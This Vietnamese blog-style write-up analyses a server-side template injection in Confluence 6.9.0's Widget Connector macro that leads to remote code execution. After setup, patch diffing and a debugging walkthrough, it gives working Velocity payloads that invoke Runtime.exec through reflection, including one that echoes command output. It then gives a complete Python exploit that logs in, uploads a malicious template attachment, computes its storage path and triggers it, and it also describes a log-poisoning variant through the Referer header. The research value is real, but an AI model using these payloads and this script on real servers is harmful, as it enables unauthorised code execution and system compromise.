Confluence là một sản phẩm được phát triển bởi Atlassian. Một công ty sản xuất ra các phần mềm như Jira, Trello … Nó là một “collaboration tool” được thế kế cho việc chia sẻ, lưu trữ và làm việc với mọi thứ, hỗ trợ việc tạo các dự án, viết meeting note để quản lí việc hợp tác trong công việc một cách tốt hơn.
Tổng quan
Tóm tắt: Macro Widget Connector component bị dính lỗi SSTI dẫn đến RCE.
Setup môi trường
Mình sử dụng version bị lỗi là 6.9.0
Sau khi tải về, các bạn vào folder atlassian-confluence-6.9.0\bin
và thêm dòng sau vào file setenv.bat
để remote debug
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Confluence sử dụng db là postgreql nên ta sẽ dùng docker cho tiện trong việc cài đặt (ở đây mình dùng ở máy ảo, vì interface sẽ cố định)
Xong khi start container, vào lại folder bin
và chạy file start-confluence.bat
để bắt đầu run server.
Sơ lược về các step khi setup: Chọn Trial (sau đó click vào link để lấy free trial key) → Setup cluster (ngay bước này cần setup sao cho cùng interface với lại máy ảo) → Nhập các thông số cho db → ….
Sau khi tất cả đã cài đặt thành công sẽ hiển thị ra như sau
Diff
Tải một version khác đã được fix lỗi → 6.6.12
Vì mô tả có đề cập đến Widget Connector
nên ta thử search trong folder source của confluence:
Vậy có lẽ chỉ cần diff hai file jar của hai version trên là được
Ở đây ta thấy đối với version đã vá lỗi, tại class WidgetMacro
có thêm một đoạn check doSanitizeParameters
đối với parameters
trước khi thực hiện renderManager.getEmbeddedHtml()
.
Setup remote debug
Tạo folder libs_debug
trong atlassian-confluence-6.9.0
, và dùng command sau để copy tất cả các file jar trong source vào folder này
find . -iname '*.jar' -exec cp {} libs_debug \;
Kết quả:
Mở folder source với intellj idea, vào Project Structure → + → Java
Và chọn folder libs_debug
Add thêm Debug configuration như sau:
Phân tích
Note: cần kiến thức cơ bản về SSTI trong velocity.
Cách add macro widget connector xem tại đây.
Nhập các input và ấn Preview
Request bắt được như sau
Tiến hành remote debug, set breakpoint tại com.atlassian.confluence.extra.widgetconnector.WidgetMacro.execute
Send lại request, lúc này ta thấy parameters
chính là các giá trị nhận từ POST request
Và gọi đến DefaultRenderManager.getEmbeddedHTML()
Hàm này list ra các renderSupporter
sau đó dùng biến url
để lấy ra đúng widgetRenderer
tương ứng
Do đó sẽ gọi đến YoutubeRenderer.getEmbeddedHtml()
Set bp tại com.atlassian.confluence.extra.widgetconnector.video.YoutubeRenderer.getEmbeddedHtml()
và F9 để nhảy tới
Tiếp tục call đến getEmbedUrl()
, setDefaultParam()
và DefaultVelocityRenderService.render()
. Tại đây ta chỉ cần quan tâm đến hàm setDefaultParam()
nếu _template
không được set thì sẽ mặc định là ...youtube.vm
⇒ có thể control được giá trị _template
này
DefaultVelocityRenderService.render()
lấy các giá trị từ params
và đưa vào contextMap
sau đó call tới this.getRenderedTemplate()
Gọi tới VelocityUtils.getRenderedTemplate()
Gọi đến một hàm cùng tên ở dòng 42 và gọi getRenderedTemplateWithoutSwallowingErrors()
Vẫn trong class này gọi getTemplate()
Lưu ý lúc này templateName
chính là giá trị _template
ban nãy đã nói (giá trị này control được)
VelocityEngine.Template()
gọi đến RunimeInstance.getTemplate()
Và gọi đến CompatibleVelocityResourceManager.getResource()
Hàm này tính toán resourceKey
dựa trên type và name sau đó lấy từ cache, nếu có → trả về cho người dùng (suy ra lúc sau nếu có thay đổi payload thì cần phải làm cho resourceKey
này khác với cái trước đó nếu không sẽ trả về kết quả như cũ)
Vì ở đây sẽ cần nhảy đến dòng số 139 nên sẽ send lại request:
Ta thấy có 4 resourceLoaders được gọi để lấy template thông qua getResourceStream()
(Ngoài lề: Sau khi xem lại bài viết thì mình nhận ra là bản thân đang debug lúc nó getTemplate cái error.vm
để trả về lỗi 😢 nhưng thật ra luồng hoạt động thì vẫn đúng nên các bạn thông cảm nhé 😙)
Chúng là
com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader
Hai cái cần để ý tới là FileResourceLoader
và ClasspathResourceLoader
- FileResourceLoader
Trước tiên đưa qua StringUtils.normalizePath()
để chặn path traversal
Hàm này như sau
Check qua source của hàm thì thấy ta chỉ có thể đọc được các file tại path atlassian-confluence-6.9.0/confluence
- ClasspathResourceLoader
Sẽ nhảy tới org.apache.catalina.loader.WebappClassLoaderBase
tại đây gọi đến this.findResource()
findResource()
này tiếp tục call đến super.findResource()
Và trả về một URLConnection object
Và tại dòng 641 sẽ gọi openStream()
với url vừa tìm được ở trên để lấy data từ url.
Kết quả:
Vậy ta có thể điều khiển vị trí file template mà velocity engine sẽ dùng để render
Note: trong các case thực tế khi không biết đường dẫn cụ thể của các file, folder ta có thể tận dụng scheme file trong java để list
POC có outbound
Cách này thì khá đơn giản, chỉ việc host một file template sau đó dùng http://
và ftp
để server fetch về là xong
Tuy nhiên cần phải lưu ý ở đây đó là ta phải dùng reflection, nếu các bạn để ý thì đối với ssti thông thường payload sau vẫn sẽ hoạt động
#set ($e="bla")
$e.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
Nhưng trong case này thì sẽ không work, khi mình debug sâu xuống dưới thì nhận ra đây là nguyên nhân
Tóm gọn: sau một hồi getTarget class blabla, từ method getRuntime()
của java.lang.Runtime
lại trở thành tìm method getRuntime()
của java.lang.Class
trong methodCache và dĩ nhiên là trả về một CACHE_MISS → return về null và không exploit được.
Payload echo:
#set ($exp="test")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
POC không có outbound
- Attachment một file và path traversal để rce
Confluence cho phép user đính kèm file cho một page, và file sẽ được lưu vào filesystem trên server theo một cách đã quy định trước: https://confluence.atlassian.com/display/CONF30/Hierarchical+File+System+Attachment+Storage
Final script:
import requests
import json
from bs4 import BeautifulSoup
import re
URL = "http://127.0.0.1:8090"
s = requests.Session()
spaceId = ""
homeId = "" # In this case, homeId and contentId are the same
attachmentId = ""
shared_folder = "D:/confluence-home/shared"
USERNAME = "admin"
PASSWORD = "admin"
SPACE_ID_PATH = "/rest/api/space"
VIEW_PAGE_ATTACHMENT_PATH = "/pages/viewpageattachments.action"
ATTACH_FILE_PATH = "/pages/doattachfile.action"
REMOVE_ATTACHMENT_PATH = "/json/removeattachment.action"
SSTI_PATH = "/rest/tinymce/1/macro/preview"
TEMPLATE_NAME = "rce.vm"
CREATE_SPACE_PATH = "/spacedirectory/view.action"
GET_SPACEKEY_PATH = "/rest/api/space"
PERSONAL_SPACE_CREATE_PATH = "/rest/create-dialog/1.0/space-blueprint/create-personal-space"
def login():
print("[-] Login ...")
data = {"os_username": USERNAME, "os_password": PASSWORD,
"os_cookie": "true", "login": "Log in", "os_destination": ''}
s.post(URL + "/dologin.action", data=data)
def get_spaceId_and_homeId():
print("[-] Getting spaceId and homeId ...")
r = s.get(URL + SPACE_ID_PATH + f"/{SPACE_KEY}")
result = json.loads(r.text)
spaceId = str(result["id"])
homeId = str(result["_expandable"]["homepage"]).split("/")[-1]
return spaceId, homeId
def get_atl_token(PATH):
r = s.get(URL + PATH,
params={"pageId": homeId}, proxies={"http": "http://127.0.0.1:8080"})
soup = BeautifulSoup(r.content, features="html.parser")
atl_token = soup.find(
"form", id="upload-attachments").find("input")["value"]
return atl_token
def attach_and_get_attachmentId():
template = """#set($exp="test")
$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc"))
"""
parts = {
"atl_token": (None, get_atl_token(VIEW_PAGE_ATTACHMENT_PATH)),
"file_0": (TEMPLATE_NAME, template),
"confirm": (None, "Attach")
}
r = s.post(URL + ATTACH_FILE_PATH, params={"pageId": homeId},
files=parts, proxies={"http": "http://127.0.0.1:8080"})
attachmentId = re.search(
r'<tr id="attachment-(.*)" data-attachment-filename="' + TEMPLATE_NAME + r'"', r.text)[1]
delete_attachment()
return attachmentId
def get_spaceKey():
print("[-] Getting space key ...")
r1 = s.get(URL + GET_SPACEKEY_PATH)
result = json.loads(r1.text)
if len(result["results"]) == 0:
r2 = s.post(URL + PERSONAL_SPACE_CREATE_PATH, json={"spaceUserKey": ""})
return json.loads(r2.text)["key"]
else:
return re.search(r'"key":"(.*)","name"', r1.text).group(1)
def delete_attachment():
print("[-] Deleting attachment ...")
s.post(URL + REMOVE_ATTACHMENT_PATH,
params={"pageId": homeId, "fileName": TEMPLATE_NAME}, data={"atl_token": get_atl_token(VIEW_PAGE_ATTACHMENT_PATH)})
def delete_space():
pass
def exploit():
print("[-] Attaching template file and RCE ... ")
attachmentId = attach_and_get_attachmentId()
# Reference: https://confluence.atlassian.com/display/CONF30/Hierarchical+File+System+Attachment+Storage
uploaded_file_location = f"file:///{shared_folder}/attachments/ver003/{str(int(spaceId[-3:]) % 250)}/{str(int(spaceId[0:3]) % 250)}/{spaceId}/{str(int(homeId[-3:]) % 250)}/{str(int(homeId[0:3]) % 250)}/{homeId}/{attachmentId}/1"
# print(uploaded_file_location)
json_data = {
"contentId": homeId,
"macro": {
"name": "widget",
"body": "",
"params": {
"url": "http://au.youtube.com/watch?v=-dnL00TdmLY",
"width": "400",
"height": "400",
"_template": uploaded_file_location
}
}
}
r = s.post(URL + SSTI_PATH, json=json_data)
print("[-] Done")
login()
SPACE_KEY = get_spaceKey()
spaceId, homeId = get_spaceId_and_homeId()
exploit()
- Thông qua log file
Dựa vào hint của anh peterjson, mình tiến hành check qua các file log trên server
Ở đây chú ý tới file atlassian-confluence.log
, nằm tại <CONFLUENCE_HOME_FOLDER>/data/logs/
Lướt sơ qua nội dung file này, thì thấy header Referer
trong request được log lại
→ Chèn payload vào header này và trỏ _template
tới
Chỉnh lại payload
Check log file, lúc này payload đã được đưa vào thành công
Một điểm nữa đó là cơ chế rotate của file log với max file size là 20MB
Ban đầu mình nghĩ sẽ cần phải tính toán sao cho giá trị của Referer
header nằm ở ngay đầu file log, sau đó comment hết các dòng còn lại với #*
(http://www.java2s.com/Code/Java/Velocity/VelocityCommentsMultiline.htm)
Nhưng một lúc sau, khi để Intruder chạy tự động và send khoảng 3k payload thì calculator popup. Trong quá trình chạy, mình vào check log file và thấy báo lỗi ở dòng 10 tại :66)...
, dễ hiểu bởi vì dấu :
trong đoạn log gây ra lỗi syntax trong velocity:
Bỏ request vào Intruder và chỉnh Generate 3000 payloads
Tình trạng file log:
Có thể thấy nội dung của file log trước #*
là syntax hợp lệ nên RCE thành công